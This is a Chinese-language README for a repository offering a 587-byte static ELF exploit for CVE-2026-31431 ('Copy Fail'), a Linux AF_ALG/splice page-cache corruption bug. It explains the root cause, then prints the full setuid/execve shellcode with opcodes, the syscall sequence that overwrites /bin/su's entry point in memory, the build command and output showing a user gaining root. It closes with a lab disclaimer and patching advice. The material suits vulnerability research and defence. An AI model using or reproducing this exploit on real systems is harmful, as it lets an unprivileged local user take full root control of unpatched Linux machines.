这个漏洞不是我发现的。功劳归于 Xint Code / Theori。
这个仓库是我对如何将漏洞利用做到尽可能小的尝试——一个 手工编写的x86_64 ELF,仅用587字节完成完整的本地提权。没有libc,没有 链接器,没有运行时。只有NASM和固执。
实际上,内核通过AF_ALG + splice将写入原语交给你, 可以写入任何可读文件的页缓存。将其指向setuid 二进制的入口点,写入shellcode,执行该二进制,获得root。
关于体积的参考:原始的公开Copy Fail文章附带了一个微型 Python版本,大小为732字节。那非常厉害,但它仍然 依赖Python运行时存在。更小的是 https://kopy.fail 的524字节版本。 而这个是原始的静态ELF:没有解释器,没有libc,没有链接器,没有动态加载器。(我 妈妈说这很酷)
| CVE | CVE-2026-31431 |
| 漏洞类别 | 通过splice别名导致的页缓存破坏 |
| 根本原因 | af_alg_sendpage / splice进入AEAD请求将页缓存页别名到加密散聚输出 |
| 组件 | crypto/af_alg.c + crypto/algif_aead.c |
| 影响 | 向任何可读文件的页缓存写入受控字节 |
| 前提条件 | 本地用户,可访问AF_ALG/AEAD支持,可读的setuid目标 |
| 利用 | 587字节静态ELF(x86_64),单文件,零依赖 |
AF_ALG允许用户空间通过套接字执行内核加密。对于像
authencesn这样的AEAD密码,内核通过带MSG_MORE的sendmsg接受数据,然后
你可以从文件描述符中splice更多数据进来。
问题所在:当你splice一个文件进来时,内核将文件的页缓存页 直接固定到加密散聚列表中。AEAD操作 随后将其输出写回那些相同的页面。内核认为它给了 加密一个读缓冲区。加密认为它得到了一个写缓冲区。没有人复制。
你作为AAD元数据提供的字节最终通过页缓存可见。 随后任何进程、任何用户(包括suid执行)对该文件的任何读取 都会看到被破坏的数据。磁盘上的文件不受影响。只有 内存中的页缓存视图发生变化。
Copy Fail是页缓存/COW家族诅咒以AF_ALG的形式出现。 与Dirty COW(CVE-2016-5195)同源——“内核让你写入 你本应只能读取的内容”——但通过加密splice路径 而不是madvise/write竞争。
目标:Debian Bookworm上的/bin/su(包括kernelCTF rootfs)。ELF入口
点位于文件偏移0x3910处。
28字节的shellcode将其变成root shell投放器:
; setuid(0) - 7字节
31 ff xor edi, edi
6a 69 push 105
58 pop rax
0f 05 syscall
; execve("/bin/sh", NULL, NULL) - 21字节
99 cdq
31 f6 xor esi, esi
48 bb 2f 62 69 6e 2f 73 68 00 movabs rbx, "/bin/sh\0"
53 push rbx
54 push rsp
5f pop rdi
6a 3b push 59
58 pop rax
0f 05 syscall
AEAD原语每次操作只给你4个字节——AAD的一个32位 块落在splice偏移处。28字节的shellcode ÷ 4 = 7次 穿越内核加密栈。每次迭代:
socket(AF_ALG) + 使用authencesn(hmac(sha1),cbc(aes))进行bindsetsockopt设置密钥和认证标签大小accept获取请求fdMSG_MORE进行sendmsg——8字节的iov包含4字节AAD填充 + 4字节shellcode/bin/su进行splice到请求fd(定位页缓存页)recvfrom——触发AEAD处理,破坏页缓存在所有7次迭代之后,执行execve("/bin/su")。内核从
被破坏的页缓存中加载它。执行跳转到被覆盖的入口点。获得root
shell。
总共587字节。其中120字节是ELF头(没有它内核不会加载你), 所以实际的利用逻辑是467字节的机器码 + 数据。
以下是ELF头中各部分的位置:
偏移 字段 实际用途
------ ----- ----------
0x00 e_ident[0:8] 魔数 + ELF类别(必需)
0x08 e_ident[8:16] 加密密钥材料(内核忽略这些字节)
0x28 e_shoff "/bin/su\0"字符串(内核对ET_EXEC忽略)
内核只查看e_ident[0:7]、e_type、e_machine、e_entry、
e_phoff、e_phnum以及phdr本身。其他一切都是自由空间。
其他体积技巧:
push imm8 / pop rax / syscall(每个3字节)第一个可用版本是584字节。它使用mov ax, 275进行第二次
splice调用(比mov eax, 275短2字节)。这赌的是第一次
splice总是成功——如果它返回负错误,rax的高48位
保持置位,而mov ax, 275只覆盖低16位。那么第二次
splice的系统调用号就是垃圾。
在我的测试内核上它总是有效。但“在测试中总是有效”不是 发布bug的好理由,如果有人在splice在内存压力下返回 EAGAIN的系统上遇到这个问题,利用程序只会段错误,没有任何 出错指示。所以多花了3个字节。
还必须在最终的execve之前添加xor esi, esi,因为recvfrom
会用缓冲区地址破坏rsi。没有它,execve会得到一个垃圾的argv
指针。又多了一个字节。
nasm -f bin -o copy_fail_v3 copy_fail_v3.asm && chmod +x copy_fail_v3
需要NASM。直接生成利用二进制——无需链接步骤。
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ./copy_fail_v3
# id
uid=0(root) gid=0(root) groups=0(root)
不到一秒完成。成功时无输出——直接获得root shell。
需要CONFIG_CRYPTO_USER_API_AEAD(内置或加载模块)以及
algif_aead中未修复的就地splice路径。这个坏代码路径可以追溯到
2017年的一次优化。检查你的发行版内核配置和补丁状态。
修复方案移除了就地路径,并复制splice源页面而不是 将它们别名到加密散聚列表中。页缓存隔离 得以恢复。
这是KernelCTF/实验室产物。在你自己拥有或获得明确 测试许可的系统上运行。如果你在防御Linux机器,请修补内核或 限制AF_ALG/algif_aead模块加载。
Daniel Wade - GitHub · Twitter/X · Bluesky · nadsec.online